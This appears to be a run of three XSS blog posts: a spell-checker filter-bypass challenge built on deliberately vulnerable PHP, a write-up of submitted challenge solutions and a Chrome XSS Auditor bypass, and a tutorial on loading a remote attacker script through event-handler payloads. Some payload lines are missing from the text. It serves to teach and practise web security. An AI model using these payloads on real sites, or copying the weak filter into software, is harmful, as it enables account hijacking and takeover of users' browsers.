XSS Filter Bypass With Spell Checking

Some sites offer spell checking as a feature of their search functionality or translation application. While this might be a good idea from an user perspective, it can also be a bad idea for one who is trying to avoid XSS in his/her code. For example, this page can be XSSed in several different ways but there’s one particularly elegant and applicable to other similar scenarios as well.

Here is its source code. Notice there’s a basic filtering, after developer got a “but report”. 🙂

<!DOCTYPE html>
<h3>Spell Checker</h3>
<form action="" method="POST">
<input type="text" name="q">
<input type="submit">
$q = $_REQUEST["q"];
if ($q) {

   // ==============================================================
   // XSS Fix after a Bug Report!

   $q = preg_replace("/<script.*|javascript.*/i", "[FILTERED]", $q);

   // ==============================================================

   $keywords = explode(" ", $q);
   $pspell_link = pspell_new("en");
   echo "Did you mean: <i>";

   foreach ($keywords as $keyword) {

      if (!pspell_check($pspell_link, $keyword)) {
         $suggestions = pspell_suggest($pspell_link, $keyword);
         echo preg_replace("/[a-zA-Z]+/", $suggestions[0], $keyword) . " ";
      } else {
         echo "$keyword ";
   echo "</i> ?\n";

Knowing that only “<script” and “javascript” (case insensitive) are filtered, can you XSS it? Don’t think it’s that easy because what’s reflected in source code is not your input but the suggestion of your input. For the record, that PHP code is based on this one from official PHP website.

Play with it and see how it behaves. It will be funny to see how your attempts will get messed so share with your friends and followers!

Didn’t find a solution or just want to see a XSS tool finding it? Check KNOXSS – XSS Discovery Service. For Pro users there’s a native payload for it but if you don’t have a plan yet there’s an easter egg (!) in demo so anyone can see it. Just register for free and feed it with the GET based URL: http://brutelogic.com.br/spell/?q=1

It works even in Google Chrome but Firefox is suggested. Although Standard version can’t find this one, users of this plan can also access KNOXSS demo interface (logged in) to see it in action.

Have fun!


XSS Challenge I


Some weeks ago, a XSS challenge was launched: the goal was to pop an alert(1) box in latest Google Chrome at that time (version 53). Code was minified (made by just one continuous line) which always brings interesting possibilities to handle input injections. Also, there was a CSP (Content Security Policy) header that didn’t allow external calls.

Submitted Solutions

Among the solutions, this was the longest:

“><iframe src=”/tests/cors/%23/tests/auditor.php?q1=<img/src=x onerror=alert(1)”

Which uses a demo page in the same domain to trigger an alert. Valid, but somewhat pointless since this domain is full of these.

All other solutions are very similar, with almost all of them making use of double reflection tricks to put alert(1) and <script> in a reverse order:



As we can see in the screenshot of source code above, the injection jumps to line 2 (new line, %0A), where the first alert(1) appears. There, this alert(1) is just the value of the input attribute until the “> is found to close the current tag. It then opens a script tag and comment the rest of the line (line 2).

Because the injection is reflected twice, this time inside the value of the original “p” javascript variable (which no longer exists due to previous comments), another jump is made to line 3, where the alert(1) can finally execute. After it, to not throw a syntax error, a string in a regex (regular expression) form is made by the first pair of slashes (/##<script#/), with some chars modified by filter and commenting the rest at the end (the final double slashes).

All submitted solutions are, in some way or another, a variation of this 26 chars one. First and second places of this challenge used the same trick to get rid of the new line (URL encoded) to save 2 chars, submitting the solution by POST HTTP method:

<form action=”http://brutelogic.com.br/chall/minified.php” method=”POST” enctype=”multipart/form-data”>
<textarea name=p id=p>
<script>document.forms[0].submit(); </script>

In this way, the new line is sent without the need of %0A (payload in red). The shortest GET method based solution was provided by third place, with 25 chars:


Which works in a similar way as previous ones, but saving one char by reusing the * from the comments block to also “concatenate” the regex to alert(1).

Intended Solution

This challenge was designed to share a curious solution, the intended one. Although not the shortest and probably because of that it was overlooked by participants, it certainly brings a useful trick to use against Chrome’s anti-XSS filter.



As we can see in red in source code, Chrome’s Auditor flags the injection but it’s executed anyway. It worked by the simple assumption that the only thing that doesn’t allow <svg><script>alert(1)// to work alone (before reaching the </script>) is the native <script> tag.

To disable it, we just enclose it by a pair of tags, like <input>. We already have one inside our <svg><script> block, so adding a closing one (</input>), code can run without syntax error. Notice that the greater than sign is turned into # in the </input/ tag but the “>” found a little bit further (in “if(p.length>0)” snippet) make it work properly.


More info can be found below, in the tweet itself (check replies) and in the write-up by one of the winners.

It seemed to be a good challenge to practice some XSS filter skills, as pointed out by some participants. It also had some nice prizes provided by sponsors, Hackfest CA, Sucuri and BHaFSec. Stay tuned to my twitter account @brutelogic for the next ones!


Calling Remote Script With Event Handlers

xss-funnelAfter a tester or attacker is able to pop an alert box, the next step is to call an external script to do whatever he/she wants to do with the victim. In scenarios where XSS is not possible with “<script src=//HOST>” or similar, we need to build the request to load our remote code.

So let’s see 5 of possible ways to make this happen, in descending order of payload length. All examples will use “//0” as HOST which points to localhost, having the default index file as the injected script. A CORS header is also needed to make this work for different origins.

All the following can be used like in this example form: <svg onload=PAYLOAD>.

1 – XHR

The old way, but uses too much chars. Response is written in the current document with write() so it needs to contain HTML.

"var x=new XMLHttpRequest();x.open('GET','//0');x.send();

2 – Fetch

The new fetch() API makes things easier. Again, response is written and must be HTML.

3 – Create Element

Straightforward, a script element is created in DOM. Response must be javascript code.

with(top)body.appendChild (createElement('script')).src='//0'

4 – jQuery Get

If there’s a native jQuery library loaded in target page, request becomes shorter. Response must be HTML.


5 – jQuery Get Script

Like above, but response must be javascript code.



In order to make remote calls easier to handle, the following PHP file can be used. It has the CORS requirement and HTML + javascript code combined in such a way that it works with both types of inclusion in the document.


You can host this file locally and test all above payloads here.